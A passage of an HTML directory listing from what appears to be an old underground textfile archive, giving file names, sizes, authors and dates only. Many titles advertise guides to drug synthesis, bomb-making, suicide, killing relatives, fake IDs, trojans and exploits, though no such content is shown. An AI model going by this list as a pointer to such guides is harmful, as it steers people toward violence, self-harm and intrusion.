<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/getthrough.txt">getthrough.txt</A> <tab to=T><TD> 6141<BR><TD> Getting Through Life (List of Illegal Activities), by Jockey (November 9, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/gettingfreemoney.txt">gettingfreemoney.txt</A> <tab to=T><TD> 1555<BR><TD> Getting Free Money by Lovelie18 (February, 2014)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/gf1.txt">gf1.txt</A> <tab to=T><TD> 18703<BR><TD> Goldstein's Fetus #1 by Fellow Felon of SoldierX.com and the Legion of the Damned (May, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/gf2.txt">gf2.txt</A> <tab to=T><TD> 6702<BR><TD> Goldstein's Fetus #2 by Fellow Felon of SoldierX.com and the Legion of the Damned (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/gfspress.txt">gfspress.txt</A> <tab to=T><TD> 8397<BR><TD> Get Free Shit by (Not) Working for the Press, by Dizzie (May, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ggrenade.txt">ggrenade.txt</A> <tab to=T><TD> 804<BR><TD> A Simple Glass Grenade (October 31, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/girl_joke.txt">girl_joke.txt</A> <tab to=T><TD> 3832<BR><TD> Operating Manual for your Female, by Phoenixx (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/glenn.txt">glenn.txt</A> <tab to=T><TD> 1643<BR><TD> Sysadmin's Blues, parody of Smuggler's Blues by Glenn Frey, by Delchi (October, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/govt.txt">govt.txt</A> <tab to=T><TD> 5130<BR><TD> The Truth About the Government by BadGer of SoldierX.com (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/gspot.txt">gspot.txt</A> <tab to=T><TD> 4018<BR><TD> G-Spot Positions: Our Favorite 3 Positions to Hit the G-Spot during Sex (December, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/gtsmw.txt">gtsmw.txt</A> <tab to=T><TD> 1981<BR><TD> Guide to Sniping in Modern Warfare 2, by Luke Howse (March, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/gummibear.txt">gummibear.txt</A> <tab to=T><TD> 1459<BR><TD> Gummi Bearing: As a Game of Skill, by JustOnePepsi (March 2, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hacker3.txt">hacker3.txt</A> <tab to=T><TD> 18433<BR><TD> Diary of a Hacker Part 3, by The Blade Cuisinart (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hackermedia.txt">hackermedia.txt</A> <tab to=T><TD> 4236<BR><TD> Hackers: Victims of Media Stereotype, by Violent Work of Art (July 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hackerstages.txt">hackerstages.txt</A> <tab to=T><TD> 4436<BR><TD> Hacker Stages Version 1.03 by Elf Qrin (March 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hackguide.txt">hackguide.txt</A> <tab to=T><TD> 9603<BR><TD> K-K-D's Guide to Hacking an RM Computer: UK Version (November 2, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hackinggen.txt">hackinggen.txt</A> <tab to=T><TD> 3631<BR><TD> Fucking Script Kiddies: Becoming a Hacker (May 16, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hackingthespaces.txt">hackingthespaces.txt</A> <tab to=T><TD> 14050<BR><TD> Hacking the Spaces: A Critical Acclaim of What Was, Is, and Could be a Hackerspace by Johannes Grenzfurthner/Frank Apunkt Schneider (monochrom) (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hackintro.txt">hackintro.txt</A> <tab to=T><TD> 6823<BR><TD> An Introduction to Hacking, by Oreo Ctrl (April, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hackvending.txt">hackvending.txt</A> <tab to=T><TD> 1243<BR><TD> Hack a Vending Machine, by UNEX (September 14, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/haircut.txt">haircut.txt</A> <tab to=T><TD> 510<BR><TD> How to Get a Free Haircut, by Ali (March, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/halloflamers.txt">halloflamers.txt</A> <tab to=T><TD> 3790<BR><TD> The Hall of Lamers by McLoser (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/halo2eggs.txt">halo2eggs.txt</A> <tab to=T><TD> 11084<BR><TD> Halo 2 Easter Eggs: The Skull List, by Happy McSmith (Ferbuary 18, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hamballoon.txt">hamballoon.txt</A> <tab to=T><TD> 5198<BR><TD> Field Day and Using a Weather Balloon, by Ron N9EE (July, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/handsofgod.txt">handsofgod.txt</A> <tab to=T><TD> 10812<BR><TD> The Hands of God, by Anonymous (September, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/happiness.txt">happiness.txt</A> <tab to=T><TD> 4703<BR><TD> Are We Happy? by FuGaZi SUN (May 4, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hate.txt">hate.txt</A> <tab to=T><TD> 65329<BR><TD> Collection of Articles Written for HateZine by Dark Monarchy Enterprises (1998-1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/haxormanifesto.txt">haxormanifesto.txt</A> <tab to=T><TD> 3851<BR><TD> The Haxor's Manifesto Y2K by The Lamor (March 15, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hd-1.txt">hd-1.txt</A> <tab to=T><TD> 11905<BR><TD> Hate and Discontent #1 by Mastar Satan (May 5th, 1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hd-2.txt">hd-2.txt</A> <tab to=T><TD> 10174<BR><TD> Hate and Discontent #2 (Getting Back at a Zealot CBer) by Master Satan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hd-3.txt">hd-3.txt</A> <tab to=T><TD> 17070<BR><TD> Hate and Discontent #3 (Getting Even with a Prick in School or on a BBS)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hd-4.txt">hd-4.txt</A> <tab to=T><TD> 10389<BR><TD> Hate and Discontent #4 (The Art of Killing Big Fat Purple Things) by Master Satan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hd-5.txt">hd-5.txt</A> <tab to=T><TD> 7212<BR><TD> Hate and Discontent #5 (How to Kill a Bunch of Rocks) by Master Satan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hdhell.txt">hdhell.txt</A> <tab to=T><TD> 1661<BR><TD> The Home Depot Intercom Trick, by Landser (November 13, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/health.txt">health.txt</A> <tab to=T><TD> 37560<BR><TD> Health: A Listing of Products Affecting Your Health and Proposed Solutions, by Anonymous (December, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/herbal_smokes.txt">herbal_smokes.txt</A> <tab to=T><TD> 549<BR><TD> Herbal Smokes, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hhacking.txt">hhacking.txt</A> <tab to=T><TD> 1018<BR><TD> Human Hacking, by Acid Pool (February 8, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hmexplbag.txt">hmexplbag.txt</A> <tab to=T><TD> 817<BR><TD> Homemade Explosive Bag, by Marlboro Man (October 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/homealco.txt">homealco.txt</A> <tab to=T><TD> 7006<BR><TD> Homemade Alcohol by Zero (July 12, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/homealcohol.txt">homealcohol.txt</A> <tab to=T><TD> 21485<BR><TD> Homemade Alcohol Verison 2 by Zero (June 2, 2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/homemade_pepper_spray.txt">homemade_pepper_spray.txt</A> <tab to=T><TD> 568<BR><TD> Homade Pepper Spray, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hosespray.txt">hosespray.txt</A> <tab to=T><TD> 5126<BR><TD> Spraying People with a Hose: The Techniques, by RLK (June 10, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hotelfun.txt">hotelfun.txt</A> <tab to=T><TD> 1790<BR><TD> Hotels: Our Hidden Treasure, by Bong
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hotmail.txt">hotmail.txt</A> <tab to=T><TD> 6772<BR><TD> UnderStanding the Hotmail Server by KGB of FX Ltd.(April, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/how2clone.txt">how2clone.txt</A> <tab to=T><TD> 3014<BR><TD> AIM Cloning for Dummies by Xero, Aka MrRogerz (June 8, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/how2txt.txt">how2txt.txt</A> <tab to=T><TD> 6214<BR><TD> Writing Textfiles Version 1.0 by Burnin' of Unknown Prez (December 3, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/howlost.txt">howlost.txt</A> <tab to=T><TD> 97153<BR><TD> How to Get Lost, and Stay That Way, by James Petersen (March 13, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/howto_wzgrp.txt">howto_wzgrp.txt</A> <tab to=T><TD> 6406<BR><TD> How to Start a Warez Group, by Neuro (September 25, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/howtocoke.txt">howtocoke.txt</A> <tab to=T><TD> 1866<BR><TD> How to Make Cocaine the Simple Way, by J.W. (February 2, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/howtokillsomeone">howtokillsomeone</A> <tab to=T><TD> 1003<BR><TD> Some Ways to Kill Someone (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/howtolie.txt">howtolie.txt</A> <tab to=T><TD> 13572<BR><TD> How to Lie to People: Achieving Anonymity Through Disinformation and Data Poisoning, by Dizzie (May, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/howtotexts.txt">howtotexts.txt</A> <tab to=T><TD> 6946<BR><TD> How and Why to Write Tutorials by The Maniac (March 20, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/htmlguide.txt">htmlguide.txt</A> <tab to=T><TD> 15682<BR><TD> The Newbies' Guide to Basic HTML, by Violent Work of Art (July 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hybrid-1.txt">hybrid-1.txt</A> <tab to=T><TD> 4005<BR><TD> Hybrido's Guide to Suicide, with Help from Razor (January 27, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/hybrid-3.txt">hybrid-3.txt</A> <tab to=T><TD> 6793<BR><TD> Hybrido's Guide to Finnish Kilju, by Hybrido (January 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ibadass.txt">ibadass.txt</A> <tab to=T><TD> 7470<BR><TD> b0redom magazine: How to be an Internet Badass by Argus (November, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ici20080317.txt">ici20080317.txt</A> <tab to=T><TD> 148874<BR><TD> Internet Cafe In/Sec Version 1.4.7 by ad (March 17, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ici20080616.txt">ici20080616.txt</A> <tab to=T><TD> 154750<BR><TD> Internet Cafe In/Sec Version 1.5.0 by ad (June 16, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ici20080704.txt">ici20080704.txt</A> <tab to=T><TD> 106802<BR><TD> Internet Cafe In/Sec Version 1.5.0 FINAL by ad (July 4, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ici20090120.txt">ici20090120.txt</A> <tab to=T><TD> 172678<BR><TD> Internet Cafe In/Sec Version 1.5.1 by ad (January 20, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ici20090131.txt">ici20090131.txt</A> <tab to=T><TD> 145267<BR><TD> Internet Cafe In/Sec Version 1.5.2 by ad (January 31, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ics20070831.txt">ics20070831.txt</A> <tab to=T><TD> 77752<BR><TD> Internet Cafe In/Sec Version 1.3.7 by ad (September 3, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ics20080108.txt">ics20080108.txt</A> <tab to=T><TD> 145841<BR><TD> Internet Cafe In/Sec Version 1.4.5 by ad (January 29, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ics20080221.txt">ics20080221.txt</A> <tab to=T><TD> 149085<BR><TD> Internet Cafe In/Sec Version 1.4.6 by ad (February 21, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/idcardz.txt">idcardz.txt</A> <tab to=T><TD> 14388<BR><TD> Making Fake ID Cards, by the Phraudster (December 19, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/idiots.txt">idiots.txt</A> <tab to=T><TD> 4205<BR><TD> People Who Need to be Taken Out and Disembowled with Wooden Spoons, by The Stupid Optimist of NGSAM (January 16, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/illuminatirecovery.txt">illuminatirecovery.txt</A> <tab to=T><TD> 48141<BR><TD> Original Illuminati Recovery, compiled by ad (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/improvarms.txt">improvarms.txt</A> <tab to=T><TD> 20448<BR><TD> Improvised Arms, by BR (August, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/incident.txt">incident.txt</A> <tab to=T><TD> 5711<BR><TD> Where were you during your flex block on December, 18, 2003? (March, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/independance.txt">independance.txt</A> <tab to=T><TD> 3994<BR><TD> The Declaration of Independence for the Nation of Wales, by M.W. Beech (April Fool's Joke) (April 1, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/infect.txt">infect.txt</A> <tab to=T><TD> 3172<BR><TD> Getting Trojan-Infected Victims by RKIAC (March, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/inshoplifting.txt">inshoplifting.txt</A> <tab to=T><TD> 6704<BR><TD> In-Shop Lifting, by MaJiN (December 19, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/intel.txt">intel.txt</A> <tab to=T><TD> 16822<BR><TD> The Intel Microprocessor, typed up by Jonathan Smith (August 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/intercept.txt">intercept.txt</A> <tab to=T><TD> 4117<BR><TD> Intercepting and Re-Transmitting Data Over Phone Lines, by Captain B (September 9, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/intercoms.txt">intercoms.txt</A> <tab to=T><TD> 2728<BR><TD> Various Store Phone Extensions (Intercoms) by KeepOnTruckin (August, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/internalfire.txt">internalfire.txt</A> <tab to=T><TD> 552<BR><TD> How to Create an Internal Firebomb: An Untested Idea, by The Lone Wolf (July, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/invisible.txt">invisible.txt</A> <tab to=T><TD> 34823<BR><TD> Invisible File Extensions in Windows by Floydman (May 7, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ipodaccess.txt">ipodaccess.txt</A> <tab to=T><TD> 1866<BR><TD> How to Get Free iPod Accessories, by RustyBurrito (March 14, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ircinst.txt">ircinst.txt</A> <tab to=T><TD> 4182<BR><TD> Instructions on Using IRC, by Sin (September 20, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ircweekly.1">ircweekly.1</A> <tab to=T><TD> 13095<BR><TD> IRC Weekly Edition #1 by Subzero and Staff
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ircweekly.2">ircweekly.2</A> <tab to=T><TD> 19838<BR><TD> IRC Weekly Edition #2 by subzero and staff
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ircweekly.4">ircweekly.4</A> <tab to=T><TD> 37322<BR><TD> IRC Weekly Edition #4 by subzero and staff (February 14, 1996)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/isphack.txt">isphack.txt</A> <tab to=T><TD> 9348<BR><TD> Hacking your ISP, by the Maniac (August 21, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/jmdickinass.txt">jmdickinass.txt</A> <tab to=T><TD> 1386<BR><TD> How Joe McDickinass Died, by Icyton (December 11, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/jsmooth.txt">jsmooth.txt</A> <tab to=T><TD> 20891<BR><TD> Jsmooth744's Collection of Pyrotechnic Files (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kazaa.txt">kazaa.txt</A> <tab to=T><TD> 2701<BR><TD> How to Make Kazaa Faster, by Kingfisher (May 18, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kazaaspyremoval.txt">kazaaspyremoval.txt</A> <tab to=T><TD> 2847<BR><TD> Kazaa Spyware Removal, by ParanoidXE (January, 22, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kds-doscom.txt">kds-doscom.txt</A> <tab to=T><TD> 4816<BR><TD> KDS-DOSCOM: DOS COM File Version 1.0 by King Dominic Salemno (July, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kds-dospsp.txt">kds-dospsp.txt</A> <tab to=T><TD> 3594<BR><TD> KDS-DOSPSP: DOS Program Segment Prefix v1.0 by King Dominic Salemno (July, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kds-srt.txt">kds-srt.txt</A> <tab to=T><TD> 3331<BR><TD> KDS-SRT: SubRip (.SRT File Extension) by King Dominic Salemno (September, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/keepwoman.txt">keepwoman.txt</A> <tab to=T><TD> 1048<BR><TD> Keeping Your Woman, by Acidous (August 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/keepyoursn.txt">keepyoursn.txt</A> <tab to=T><TD> 1924<BR><TD> How to Keep Your AIM Screen Names by Cow of the Digital Underground (July, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/keys_xplained.txt">keys_xplained.txt</A> <tab to=T><TD> 52910<BR><TD> Attempting to better interpret the 18 Keys of the Enochian Magick System, by Apakhana (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/khaki.txt">khaki.txt</A> <tab to=T><TD> 5425<BR><TD> The Khaki Box, by Chartreuse (July 12, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/khaotic_rant.txt">khaotic_rant.txt</A> <tab to=T><TD> 2477<BR><TD> Khaotic's Rant #0001, by Khaotic (September 16, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kill_parents.txt">kill_parents.txt</A> <tab to=T><TD> 13660<BR><TD> How to Kill Your Parents, the Complete Guide, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/killannoying.txt">killannoying.txt</A> <tab to=T><TD> 1716<BR><TD> How to Kill Annoying Family Members (February, 2014)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kimmy.txt">kimmy.txt</A> <tab to=T><TD> 78713<BR><TD> Kimmy: An Erotic Story, by Zone Master (May, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kkdtrojans.txt">kkdtrojans.txt</A> <tab to=T><TD> 13220<BR><TD> K-K-D's Guide to Using Trojans (November 2, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kl0209lit_fffap.txt">kl0209lit_fffap.txt</A> <tab to=T><TD> 25051<BR><TD> Fuzzing for Fun and Profit, by Rush of Krakow Labs (February 11, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/koalas.txt">koalas.txt</A> <tab to=T><TD> 2918<BR><TD> Koalas: Why They Should Die (Transcribed from an 8th Grade Paper) (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/kodakscam.txt">kodakscam.txt</A> <tab to=T><TD> 5692<BR><TD> How to Scam Scanners, Printers, and Other Hardware, by Dizzie (January, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/lameerotica.txt">lameerotica.txt</A> <tab to=T><TD> 3668<BR><TD> Some Lame Erotica, by McLoser (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/latenite.txt">latenite.txt</A> <tab to=T><TD> 9008<BR><TD> Late Night Antics, by Anonymous (August 6th, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/lbvaporizer.txt">lbvaporizer.txt</A> <tab to=T><TD> 6215<BR><TD> The Light Bulb Vaporizer, by Egregius Systems Admin (April, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/left.txt">left.txt</A> <tab to=T><TD> 12687<BR><TD> Open Your Eyes! It's some Leftist Propoganda, by ABERS (December 18, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/legalhigh.txt">legalhigh.txt</A> <tab to=T><TD> 6103<BR><TD> Legal Highs by Pepsi (May 29, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/libc-linux.txt">libc-linux.txt</A> <tab to=T><TD> 11726<BR><TD> Return To LIBC Exploitation Demonstration by Jeremy Brown (December, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/liberalism.txt">liberalism.txt</A> <tab to=T><TD> 11399<BR><TD> Liberalism and Other Political Ideologies by Dr. Anarchist (2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/life.txt">life.txt</A> <tab to=T><TD> 5904<BR><TD> The Reasons for Living, from the Oddyssey, by FuGaZi SUN (May 4, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/linuxbasics.txt">linuxbasics.txt</A> <tab to=T><TD> 2636<BR><TD> Basics of the Linux File System, by Quatre407 (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/lockers.txt">lockers.txt</A> <tab to=T><TD> 350<BR><TD> How to Break into School Lockers and Make Money the Easy Way, by Jack Mehoff (June 11, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/lostparable.txt">lostparable.txt</A> <tab to=T><TD> 2514<BR><TD> The Lost Parable, by Ill Hippie (October 4, 1986)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/lusermeetings.txt">lusermeetings.txt</A> <tab to=T><TD> 14843<BR><TD> Social Observations about Network Lusers: A General TXT on my Personal Gleanings and Expeirence with Network Neophytes and the Everyday Joe/Jane 'Luser', by Fart Blossom (September 8, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/lying757.txt">lying757.txt</A> <tab to=T><TD> 9189<BR><TD> The Lying 757, by Anarchy Adam (9/11 Conspiracy Theory) (May, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/lytesabre.txts">lytesabre.txts</A> <tab to=T><TD> 8653<BR><TD> Some Ruminations on the Star Wars Light Sabre (March, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/maceformula.txt">maceformula.txt</A> <tab to=T><TD> 1095<BR><TD> How to Make Homemade Mace, by Just One Pepsi (March 2, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/magbong.txt">magbong.txt</A> <tab to=T><TD> 3056<BR><TD> How to make an Easily Concealable Bong from a Mag-Lite (Februqry 21, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mail.txt">mail.txt</A> <tab to=T><TD> 3982<BR><TD> The Wonderful and Evil World of E-mail by The Mob Boss (December 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mailspoof.txt">mailspoof.txt</A> <tab to=T><TD> 1763<BR><TD> How to Mail Spoof, by KaOX (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/makearse.txt">makearse.txt</A> <tab to=T><TD> 36189<BR><TD> The Makeshift Arsenal, by Lowry (1996) Version 1.2
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/maniac.txt">maniac.txt</A> <tab to=T><TD> 4452<BR><TD> A Guide to Destroying Someone's Computer on the Internet, by the Maniac (August, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mankind.txt">mankind.txt</A> <tab to=T><TD> 4035<BR><TD> The Plague of Mankind, by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/marked.txt">marked.txt</A> <tab to=T><TD> 2329<BR><TD> Surviving as a Marked Citizen, by Ender (September 15, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/math.txt">math.txt</A> <tab to=T><TD> 1352<BR><TD> Is this Math Reality? by Alien Bellhop (October, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/matrix.txt">matrix.txt</A> <tab to=T><TD> 144011<BR><TD> Transcription of the Matrix Movie Script, from Cany0umatrix (April 8, 1996)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mchrom-minus24x.txt">mchrom-minus24x.txt</A> <tab to=T><TD> 5551<BR><TD> Minus 24x: A Manifesto, by Grenzfurthner of Monochrom (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mcomschubumkehr-1996.txt">mcomschubumkehr-1996.txt</A> <tab to=T><TD> 10506<BR><TD> Schubumkehr: A Manifesto, from Monochrom (1996)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mentorslw.txt">mentorslw.txt</A> <tab to=T><TD> 3028<BR><TD> The Mentor's Last Words (Hacker Manifesto)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/merestremve.txt">merestremve.txt</A> <tab to=T><TD> 1961<BR><TD> Uninstalling System Restore (WinME) by ParanoidXE (April 12, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/message.txt">message.txt</A> <tab to=T><TD> 3706<BR><TD> Spreading Your Message, by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/methcathr.txt">methcathr.txt</A> <tab to=T><TD> 7953<BR><TD> PhreeX Methcathinone Recipe (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/methmethod.txt">methmethod.txt</A> <tab to=T><TD> 10184<BR><TD> Making Methamphetamine at Home (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/metv.hac">metv.hac</A> <tab to=T><TD> 5719<BR><TD> MeTV (Canadian Cable) For Free, by Nowhere Man (July 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mhbomb.txt">mhbomb.txt</A> <tab to=T><TD> 2079<BR><TD> Making a Match Head Bomb, by Phantom Hate (August 12, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/microbotnet.txt">microbotnet.txt</A> <tab to=T><TD> 1884<BR><TD> The Truth about Microsoft, by FuSiioN (October, 2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/microsoft.txt">microsoft.txt</A> <tab to=T><TD> 667<BR><TD> The Microsoft Conspiracy: Do Not Install Service Pack 2 (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mine_hack.txt">mine_hack.txt</A> <tab to=T><TD> 1362<BR><TD> Hacking Minesweeper by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/minimart.txt">minimart.txt</A> <tab to=T><TD> 398267<BR><TD> STORY: Mini-Mart, by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mis_fun.txt">mis_fun.txt</A> <tab to=T><TD> 9833<BR><TD> Mischief and Fun by XxCasperxXxSuicidexX (May 6, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/mlkbook.txt">mlkbook.txt</A> <tab to=T><TD> 12949<BR><TD> ESSAY: Review of Martin Luther King, Jr. Book, by Derrick L. Jones (May 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/modemhack.txt">modemhack.txt</A> <tab to=T><TD> 1844<BR><TD> Hacking Dial-Up Modems, by Xcalibur (December 19, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/modern_leechers.txt">modern_leechers.txt</A> <tab to=T><TD> 2906<BR><TD> Modern Day Leechers, by JMZ635 (January 21, 2005)
